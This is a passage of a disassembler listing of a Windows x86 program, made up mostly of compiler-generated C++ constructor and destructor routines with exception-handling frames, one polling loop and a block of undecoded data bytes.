		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0EAh]
		mov	[esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417830	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4178F0	proc near		; CODE XREF: sub_4018CAj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4178F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4178F0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417960	proc near		; CODE XREF: sub_4017D0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417960
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417960	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4179D0	proc near		; CODE XREF: sub_401B27j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4179D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4179D0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417A40	proc near		; CODE XREF: sub_401F28j
		add	ecx, 4
		jmp	sub_401023
sub_417A40	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417A60	proc near		; CODE XREF: sub_401113j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417A60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+60h]
		mov	[esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417A60	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417AE0	proc near		; CODE XREF: sub_401DEDj
		add	ecx, 4
		jmp	sub_401023
sub_417AE0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417B00	proc near		; CODE XREF: sub_401FF5j
		add	ecx, 4
		jmp	sub_401023
sub_417B00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417B20	proc near		; CODE XREF: sub_401EE2j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417B20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0BCh]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417B20	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417BC0	proc near		; CODE XREF: sub_40157Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417BC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401424
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+47h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+75h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0A3h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E078
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417BC0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417C60	proc near		; CODE XREF: sub_401645j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417C60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401749
		lea	ecx, [esi+118h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E07C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417C60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417D30	proc near		; CODE XREF: sub_401776j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417D30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+8D008h]
		call	sub_401749
		lea	ecx, [esi+8D036h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+8D064h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8D092h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+8D0C0h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E080
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417D30	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417DF0	proc near		; CODE XREF: sub_401820j
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		mov	dword ptr [esi], offset	off_43E050
		mov	eax, esi
		pop	esi
		retn
sub_417DF0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417E20	proc near		; CODE XREF: sub_4016B3j
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		mov	dword ptr [esi], offset	off_43E05C
		mov	eax, esi
		pop	esi
		retn
sub_417E20	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417E50	proc near		; CODE XREF: sub_401415j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417E50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E084
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417E50	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417F10	proc near		; CODE XREF: sub_401302j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417F10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E088
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417F10	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417FD0	proc near		; CODE XREF: sub_401271j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417FD0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E08C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417FD0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418050	proc near		; CODE XREF: sub_401D11j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		mov	dword ptr [esi], offset	nullsub_10
		mov	eax, esi
		pop	esi
		retn
sub_418050	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418080	proc near		; CODE XREF: sub_4012FDj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418080
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E094
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418080	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418100	proc near		; CODE XREF: sub_401A7Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418100
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E098
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418100	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418180	proc near		; CODE XREF: sub_401285j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		mov	dword ptr [esi], offset	off_43E09C
		mov	eax, esi
		pop	esi
		retn
sub_418180	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4181B0	proc near		; CODE XREF: sub_401CA3j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4181B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E0A0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4181B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418230	proc near		; CODE XREF: sub_401573j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		mov	dword ptr [esi], offset	off_43E0A4
		mov	eax, esi
		pop	esi
		retn
sub_418230	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418260	proc near		; CODE XREF: sub_40178Fj
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		mov	dword ptr [esi], offset	off_43E0A8
		mov	eax, esi
		pop	esi
		retn
sub_418260	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		push	0FFFFFFFFh
		push	offset loc_43ABDF
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	dword ptr [esp+10h], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+10h], 1
		call	sub_401749
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+10h], 2
		call	sub_401749
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+10h], 3
		call	sub_401749
		mov	ecx, [esp+8]
		mov	dword ptr [esi], offset	off_43E0AC
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418330	proc near		; CODE XREF: sub_401267j

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		push	ebx
		push	ebp
		mov	ebp, dword_50F8D0
		push	esi
		mov	esi, ecx
		push	edi
		xor	bl, bl
		mov	byte ptr [esi+9FD2Ch], 1


loc_418348:				; CODE XREF: sub_418330+E4j
		test	bl, bl
		jnz	loc_41841E
		mov	al, [esi+8EF74h]
		test	al, al
		jnz	short loc_41835E
		mov	bl, 1
		jmp	short loc_418372
; ---------------------------------------------------------------------------


loc_41835E:				; CODE XREF: sub_418330+28j
		lea	ecx, [esi+15Fh]
		call	sub_40185C
		test	al, al
		setz	bl
		test	bl, bl
		jz	short loc_418379


loc_418372:				; CODE XREF: sub_418330+2Cj
		mov	byte ptr [esi+9FD2Ch], 0


loc_418379:				; CODE XREF: sub_418330+40j
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402086
		lea	edi, [esi+9FD83h]
		lea	eax, [esp+1Ch+var_4]
		push	eax
		mov	ecx, edi
		call	sub_401F4B
		mov	ecx, [eax]
		lea	edx, [esp+1Ch+var_8]
		mov	[esp+1Ch+var_C], ecx
		push	edx
		mov	ecx, edi
		call	sub_401311
		push	eax
		lea	ecx, [esp+20h+var_C]
		call	sub_4016F9
		test	al, al
		jz	short loc_4183FE


loc_4183B4:				; CODE XREF: sub_418330+CCj
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402211
		mov	ecx, [eax]
		call	sub_401744
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402211
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4183DB
		mov	edx, [eax]
		push	1
		mov	ecx, eax
		call	dword ptr [edx]


loc_4183DB:				; CODE XREF: sub_418330+A1j
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401361
		lea	eax, [esp+1Ch+var_8]
		mov	ecx, edi
		push	eax
		call	sub_401311
		push	eax
		lea	ecx, [esp+20h+var_C]
		call	sub_4016F9
		test	al, al
		jnz	short loc_4183B4


loc_4183FE:				; CODE XREF: sub_418330+82j
		mov	ecx, edi
		call	sub_4010B9
		push	0FAh
		call	ebp ; dword_50F8D0
		mov	al, [esi+9FD2Ch]
		test	al, al
		jnz	loc_418348
		test	bl, bl
		jz	short loc_41842B


loc_41841E:				; CODE XREF: sub_418330+1Aj
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_41842B:				; CODE XREF: sub_418330+ECj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 0Ch
		retn
sub_418330	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418490	proc near		; CODE XREF: sub_401767j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_418490
		push	eax
		mov	large fs:0, esp
		sub	esp, 1A8h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, offset byte_4E6EDB
		mov	byte ptr [esi+9FD2Ch], 1
		call	sub_4010B9
		mov	eax, [esp+1C4h+arg_4]
		test	eax, eax
		jz	short loc_4184D0
		push	eax
		jmp	short loc_4184D5
; ---------------------------------------------------------------------------


loc_4184D0:				; CODE XREF: sub_418490+3Bj
		push	offset byte_446F70


loc_4184D5:				; CODE XREF: sub_418490+3Ej
		lea	ecx, [esi+9FD57h]
		call	sub_4015D7
		mov	edi, [esp+1C4h+arg_0]
		test	edi, edi
		jz	short loc_4184EE
		push	edi
		jmp	short loc_4184F3
; ---------------------------------------------------------------------------


loc_4184EE:				; CODE XREF: sub_418490+59j
		push	offset byte_446F70


loc_4184F3:				; CODE XREF: sub_418490+5Cj
		lea	ecx, [esi+9FD6Ch]
		call	sub_4015D7
		push	edi
		lea	ecx, [esi+3Eh]
		call	sub_401384
sub_418490	endp

; ---------------------------------------------------------------------------
		db 8Ah
		dd 0C0844246h, 468B0F74h, 528E8D43h, 50000001h,	0FE945CE8h
		dd 244C8DFFh, 2685128h,	90000002h, 69E120E8h, 8F88E871h
		dd 8E8DFFFEh, 1BBEh, 0FE92B1E8h, 468E8DFFh, 0E800001Bh
		dd 0FFFE94AEh, 15FBE8Dh, 0CF8B0000h, 0FE97DFE8h, 0D01D8BFFh
		dd 680050F8h, 3E8h, 0CF8BD3FFh,	0FE8CB3E8h, 3E868FFh, 0D3FF0000h
		dd 8448468Ah, 8A0A75C0h, 7C786h, 74C08400h, 318E8D0Bh
		dd 0E80009FCh, 0FFFE8E48h, 3E868h, 8DD3FF00h, 3F99Eh, 58BE8D00h
		dd 5300001Ch, 0B2E8CF8Bh, 8BFFFE95h, 8BE7E8CFh,	868AFFFEh
		dd 77Eh, 0F74C084h, 71C968Dh, 52530000h, 5FE8CF8Bh, 8AFFFE91h
		dd 7C786h, 74C08400h, 0F7AE8D1Dh, 8B000007h, 0D5E855CFh
		dd 84FFFE99h, 530B75C0h, 0E8CF8B55h, 0FFFE8EABh, 0AE8D0EEBh
		dd 7F7h, 0E855CF8Bh, 0FFFE9346h, 7C7868Ah, 0C0840000h
		dd 468A1B74h, 75C08448h, 0CF8B5514h, 0FE99C7E8h, 74C084FFh
		dd 90006A08h, 82185DE8h, 98C6E877h, 8E8DFFFEh, 168h, 0FE91B3E8h
		dd 448D50FFh, 0E8501424h, 0FFFE99E6h, 5008C483h, 0FD2D8E8Dh
		dd 84C70009h, 1C424h, 0
		dd 99B8E800h, 4C8DFFFEh, 84C71024h, 1C024h, 0FFFFFF00h
		dd 8BBCE8FFh, 9E8DFFFEh, 8EF5Dh, 5DE8CB8Bh, 8DFFFE8Dh
		dd 8F2478Eh, 8D52E800h,	8E8DFFFEh, 1D29h, 0FE96F2E8h, 6F8E8DFFh
		dd 0E800001Eh, 0FFFE9449h, 0F2858E8Dh, 66E80008h, 8DFFFE8Fh
		dd 9FA138Eh, 9046E800h,	8E8DFFFEh, 8F3A2h, 0FE9B26E8h
		dd 738E8DFFh, 0E80009FAh, 0FFFE9783h, 3FE8CB8Bh, 8DFFFE93h
		dd 9FC428Eh, 9889E800h,	0CF8BFFFEh, 0FE896EE8h,	0BF8E8DFFh
		dd 0E80008F4h, 0FFFE9525h, 0FB058E8Dh, 9DE80009h, 8DFFFE94h
		dd 9FAD38Eh, 9802E800h,	8E8DFFFEh, 9FB93h, 0FE925CE8h
		dd 0CD8E8DFFh, 0E80009FBh, 0FFFE9931h, 0FBFF8E8Dh, 0C6E80009h
		dd 8BFFFE94h, 8B41E8CEh, 8E8DFFFEh, 8F270h, 11E8F88Bh
		dd 8BFFFE90h, 900AE8CBh, 0D9E8FFFEh, 90FFFE93h,	69BCE3E8h
		dd 42468A71h, 0B74C084h, 1528E8Dh, 83E80000h, 8BFFFE95h
		dd 1B8248Ch, 0C78B0000h, 5B5D5E5Fh, 0D8964h, 81000000h
		dd 1B4C4h, 8C200h, 3 dup(90909090h), 30h dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------

locret_418840:				; CODE XREF: ___:00402202j
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_418860:				; CODE XREF: ___:00401EC4j
		mov	eax, [esp+0Ch]
		push	0
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401767
; ---------------------------------------------------------------------------
		retn	10h
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418890	proc near		; CODE XREF: sub_401B09j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4021BC
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401622
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40142E
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_4020E5
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
sub_418890	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418900	proc near		; CODE XREF: sub_401AFAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_40139D
sub_418900	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418940	proc near		; CODE XREF: sub_4021DAj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401311
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401F4B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401550
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_40205E
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
sub_418940	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4189B0	proc near		; CODE XREF: sub_401F4Bj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_4015D2
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401D84
		mov	eax, esi
		pop	esi
		retn	4
sub_4189B0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4189F0	proc near		; CODE XREF: sub_401311j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401D84
		mov	eax, esi
		pop	esi
		retn	4
sub_4189F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418A20	proc near		; CODE XREF: sub_4010B9j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401311
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401F4B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401550
